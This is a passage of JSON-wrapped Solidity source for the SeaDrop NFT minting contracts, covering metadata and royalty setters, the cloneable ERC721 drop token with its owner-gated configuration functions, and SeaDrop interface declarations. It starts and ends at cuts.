*/\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new base URI.\n _tokenBaseURI = newBaseURI;\n\n // Emit an event with the update.\n if (totalSupply() != 0) {\n emit BatchMetadataUpdate(1, _nextTokenId() - 1);\n }\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId)\n external\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the max supply does not exceed the maximum value of uint64.\n if (newMaxSupply > 2**64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _maxSupply = newMaxSupply;\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if any items have been minted.\n if (_totalMinted() > 0) {\n revert ProvenanceHashCannotBeSetAfterMintStarted();\n }\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if the new royalty address is the zero address.\n if (newInfo.royaltyAddress == address(0)) {\n revert RoyaltyAddressCannotBeZeroAddress();\n }\n\n // Revert if the new basis points is greater than 10_000.\n if (newInfo.royaltyBps > 10_000) {\n revert InvalidRoyaltyBasisPoints(newInfo.royaltyBps);\n }\n\n // Set the new royalty info.\n _royaltyInfo = newInfo;\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(newInfo.royaltyAddress, newInfo.royaltyBps);\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI();\n }\n\n /**\n * @notice Returns the base URI for the contract, which ERC721A uses\n * to return tokenURI.\n */\n function _baseURI() internal view virtual override returns (string memory) {\n return _tokenBaseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() public view returns (uint256) {\n return _maxSupply;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address) {\n return _royaltyInfo.royaltyAddress;\n }\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256) {\n return _royaltyInfo.royaltyBps;\n }\n\n /**\n * @notice Called with the sale price to determine how much royalty\n * is owed and to whom.\n *\n * @ param _tokenId The NFT asset queried for royalty information.\n * @param _salePrice The sale price of the NFT asset specified by\n * _tokenId.\n *\n * @return receiver Address of who should be sent the royalty payment.\n * @return royaltyAmount The royalty payment amount for _salePrice.\n */\n function royaltyInfo(\n uint256,\n /* _tokenId */\n uint256 _salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n // Put the royalty info on the stack for more efficient access.\n RoyaltyInfo storage info = _royaltyInfo;\n\n // Set the royalty amount to the sale price times the royalty basis\n // points divided by 10_000.\n royaltyAmount = (_salePrice * info.royaltyBps) / 10_000;\n\n // Set the receiver of the royalty.\n receiver = info.royaltyAddress;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ACloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal pure function to cast a `bool` value to a `uint256` value.\n *\n * @param b The `bool` value to cast.\n *\n * @return u The `uint256` value.\n */\n function _cast(bool b) internal pure returns (uint256 u) {\n assembly {\n u := b\n }\n }\n}\n"
},
"src/clones/ERC721SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ERC721ContractMetadataCloneable,\n ISeaDropTokenContractMetadata\n} from \"./ERC721ContractMetadataCloneable.sol\";\n\nimport {\n INonFungibleSeaDropToken\n} from \"../interfaces/INonFungibleSeaDropToken.sol\";\n\nimport { ISeaDrop } from \"../interfaces/ISeaDrop.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC721SeaDropStructsErrorsAndEvents\n} from \"../lib/ERC721SeaDropStructsErrorsAndEvents.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport {\n ReentrancyGuardUpgradeable\n} from \"openzeppelin-contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\nimport {\n DefaultOperatorFiltererUpgradeable\n} from \"operator-filter-registry/upgradeable/DefaultOperatorFiltererUpgradeable.sol\";\n\n/**\n * @title ERC721SeaDrop\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721SeaDrop is a token contract that contains methods\n * to properly interact with SeaDrop.\n */\ncontract ERC721SeaDropCloneable is\n ERC721ContractMetadataCloneable,\n INonFungibleSeaDropToken,\n ERC721SeaDropStructsErrorsAndEvents,\n ReentrancyGuardUpgradeable,\n DefaultOperatorFiltererUpgradeable\n{\n /// @notice Track the allowed SeaDrop addresses.\n mapping(address => bool) internal _allowedSeaDrop;\n\n /// @notice Track the enumerated allowed SeaDrop addresses.\n address[] internal _enumeratedAllowedSeaDrop;\n\n /**\n * @dev Reverts if not an allowed SeaDrop contract.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n *\n * @param seaDrop The SeaDrop address to check if allowed.\n */\n function _onlyAllowedSeaDrop(address seaDrop) internal view {\n if (_allowedSeaDrop[seaDrop] != true) {\n revert OnlyAllowedSeaDrop();\n }\n }\n\n /**\n * @notice Deploy the token contract with its name, symbol,\n * and allowed SeaDrop addresses.\n */\n function initialize(\n string calldata __name,\n string calldata __symbol,\n address[] calldata allowedSeaDrop,\n address initialOwner\n ) public initializer {\n __ERC721ACloneable__init(__name, __symbol);\n __ReentrancyGuard_init();\n __DefaultOperatorFilterer_init();\n _updateAllowedSeaDrop(allowedSeaDrop);\n _transferOwnership(initialOwner);\n emit SeaDropTokenDeployed();\n }\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner or administrator can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop)\n external\n virtual\n override\n onlyOwner\n {\n _updateAllowedSeaDrop(allowedSeaDrop);\n }\n\n /**\n * @notice Internal function to update the allowed SeaDrop contracts.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function _updateAllowedSeaDrop(address[] calldata allowedSeaDrop) internal {\n // Put the length on the stack for more efficient access.\n uint256 enumeratedAllowedSeaDropLength = _enumeratedAllowedSeaDrop\n .length;\n uint256 allowedSeaDropLength = allowedSeaDrop.length;\n\n // Reset the old mapping.\n for (uint256 i = 0; i < enumeratedAllowedSeaDropLength; ) {\n _allowedSeaDrop[_enumeratedAllowedSeaDrop[i]] = false;\n unchecked {\n ++i;\n }\n }\n\n // Set the new mapping for allowed SeaDrop contracts.\n for (uint256 i = 0; i < allowedSeaDropLength; ) {\n _allowedSeaDrop[allowedSeaDrop[i]] = true;\n unchecked {\n ++i;\n }\n }\n\n // Set the enumeration.\n _enumeratedAllowedSeaDrop = allowedSeaDrop;\n\n // Emit an event for the update.\n emit AllowedSeaDropUpdated(allowedSeaDrop);\n }\n\n /**\n * @dev Overrides the `_startTokenId` function from ERC721A\n * to start at token id `1`.\n *\n * This is to avoid future possible problems since `0` is usually\n * used to signal values that have not been set or have been removed.\n */\n function _startTokenId() internal view virtual override returns (uint256) {\n return 1;\n }\n\n /**\n * @dev Overrides the `tokenURI()` function from ERC721A\n * to return just the base URI if it is implied to not be a directory.\n *\n * This is to help with ERC721 contracts in which the same token URI\n * is desired for each token, such as when the tokenURI is 'unrevealed'.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n // Exit early if the baseURI is empty.\n if (bytes(baseURI).length == 0) {\n return \"\";\n }\n\n // Check if the last character in baseURI is a slash.\n if (bytes(baseURI)[bytes(baseURI).length - 1] != bytes(\"/\")[0]) {\n return baseURI;\n }\n\n return string(abi.encodePacked(baseURI, _toString(tokenId)));\n }\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * ERC721A tracks these values automatically, but this note and\n * nonReentrant modifier are left here to encourage best-practices\n * when referencing this contract.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity)\n external\n virtual\n override\n nonReentrant\n {\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(msg.sender);\n\n // Extra safety check to ensure the max supply is not exceeded.\n if (_totalMinted() + quantity > maxSupply()) {\n revert MintQuantityExceedsMaxSupply(\n _totalMinted() + quantity,\n maxSupply()\n );\n }\n\n // Mint the quantity of tokens to the minter.\n _safeMint(minter, quantity);\n }\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the public drop data on SeaDrop.\n ISeaDrop(seaDropImpl).updatePublicDrop(publicDrop);\n }\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allow list on SeaDrop.\n ISeaDrop(seaDropImpl).updateAllowList(allowListData);\n }\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the token gated drop stage.\n ISeaDrop(seaDropImpl).updateTokenGatedDrop(allowedNftToken, dropStage);\n }\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external\n virtual\n override\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the drop URI.\n ISeaDrop(seaDropImpl).updateDropURI(dropURI);\n }\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the creator payout address.\n ISeaDrop(seaDropImpl).updateCreatorPayoutAddress(payoutAddress);\n }\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the owner can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external virtual {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allowed fee recipient.\n ISeaDrop(seaDropImpl).updateAllowedFeeRecipient(feeRecipient, allowed);\n }\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters to\n * enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the signer.\n ISeaDrop(seaDropImpl).updateSignedMintValidationParams(\n signer,\n signedMintValidationParams\n );\n }\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the payer.\n ISeaDrop(seaDropImpl).updatePayer(payer, allowed);\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n override\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n )\n {\n minterNumMinted = _numberMinted(minter);\n currentTotalSupply = _totalMinted();\n maxSupply = _maxSupply;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(INonFungibleSeaDropToken).interfaceId ||\n interfaceId == type(ISeaDropTokenContractMetadata).interfaceId ||\n // ERC721ContractMetadata returns supportsInterface true for\n // EIP-2981\n // ERC721A returns supportsInterface true for\n // ERC165, ERC721, ERC721Metadata\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n * - The `operator` must be allowed.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n override\n onlyAllowedOperatorApproval(operator)\n {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n * - The `operator` mut be allowed.\n *\n * Emits an {Approval} event.\n */\n function approve(address operator, uint256 tokenId)\n public\n override\n onlyAllowedOperatorApproval(operator)\n {\n super.approve(operator, tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - The operator must be allowed.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n * - The operator must be allowed.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n /**\n * @notice Configure multiple properties at a time.\n *\n * Note: The individual configure methods should be used\n * to unset or reset any properties to zero, as this method\n * will ignore zero-value properties in the config struct.\n *\n * @param config The configuration struct.\n */\n function multiConfigure(MultiConfigureStruct calldata config)\n external\n onlyOwner\n {\n if (config.maxSupply > 0) {\n this.setMaxSupply(config.maxSupply);\n }\n if (bytes(config.baseURI).length != 0) {\n this.setBaseURI(config.baseURI);\n }\n if (bytes(config.contractURI).length != 0) {\n this.setContractURI(config.contractURI);\n }\n if (\n _cast(config.publicDrop.startTime != 0) |\n _cast(config.publicDrop.endTime != 0) ==\n 1\n ) {\n this.updatePublicDrop(config.seaDropImpl, config.publicDrop);\n }\n if (bytes(config.dropURI).length != 0) {\n this.updateDropURI(config.seaDropImpl, config.dropURI);\n }\n if (config.allowListData.merkleRoot != bytes32(0)) {\n this.updateAllowList(config.seaDropImpl, config.allowListData);\n }\n if (config.creatorPayoutAddress != address(0)) {\n this.updateCreatorPayoutAddress(\n config.seaDropImpl,\n config.creatorPayoutAddress\n );\n }\n if (config.provenanceHash != bytes32(0)) {\n this.setProvenanceHash(config.provenanceHash);\n }\n if (config.allowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.allowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.allowedFeeRecipients[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.disallowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.disallowedFeeRecipients[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.allowedPayers.length > 0) {\n for (uint256 i = 0; i < config.allowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.allowedPayers[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedPayers.length > 0) {\n for (uint256 i = 0; i < config.disallowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.disallowedPayers[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.tokenGatedDropStages.length > 0) {\n if (\n config.tokenGatedDropStages.length !=\n config.tokenGatedAllowedNftTokens.length\n ) {\n revert TokenGatedMismatch();\n }\n for (uint256 i = 0; i < config.tokenGatedDropStages.length; ) {\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.tokenGatedAllowedNftTokens[i],\n config.tokenGatedDropStages[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedTokenGatedAllowedNftTokens.length > 0) {\n for (\n uint256 i = 0;\n i < config.disallowedTokenGatedAllowedNftTokens.length;\n\n ) {\n TokenGatedDropStage memory emptyStage;\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.disallowedTokenGatedAllowedNftTokens[i],\n emptyStage\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.signedMintValidationParams.length > 0) {\n if (\n config.signedMintValidationParams.length !=\n config.signers.length\n ) {\n revert SignersMismatch();\n }\n for (\n uint256 i = 0;\n i < config.signedMintValidationParams.length;\n\n ) {\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.signers[i],\n config.signedMintValidationParams[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedSigners.length > 0) {\n for (uint256 i = 0; i < config.disallowedSigners.length; ) {\n SignedMintValidationParams memory emptyParams;\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.disallowedSigners[i],\n emptyParams\n );\n unchecked {\n ++i;\n }\n }\n }\n }\n}\n"
},
"src/interfaces/INonFungibleSeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\ninterface INonFungibleSeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @dev Revert with an error if a contract is not an allowed\n * SeaDrop address.\n */\n error OnlyAllowedSeaDrop();\n\n /**\n * @dev Emit an event when allowed SeaDrop contracts are updated.\n */\n event AllowedSeaDropUpdated(address[] allowedSeaDrop);\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner or administrator can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop) external;\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity) external;\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n );\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * The administrator can only update `feeBps`.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external;\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external;\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * The administrator, when present, must first set `feeBps`.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external;\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external;\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the administrator can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external;\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external;\n}\n"
},
"src/interfaces/ISeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n MintParams,\n PublicDrop,\n TokenGatedDropStage,\n TokenGatedMintParams,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"../lib/SeaDropErrorsAndEvents.sol\";\n\ninterface ISeaDrop is SeaDropErrorsAndEvents {\n /**\n * @notice Mint a public drop.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n */\n function mintPublic(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity\n ) external payable;\n\n /**\n * @notice Mint from an allow list.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param proof The proof for the leaf of the allow list.\n */\n function mintAllowList(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n bytes32[] calldata proof\n ) external payable;\n\n /**\n * @notice Mint with a server-side signature.\n * Note that a signature can only be used once.\n *\n * @param nftContract The nft 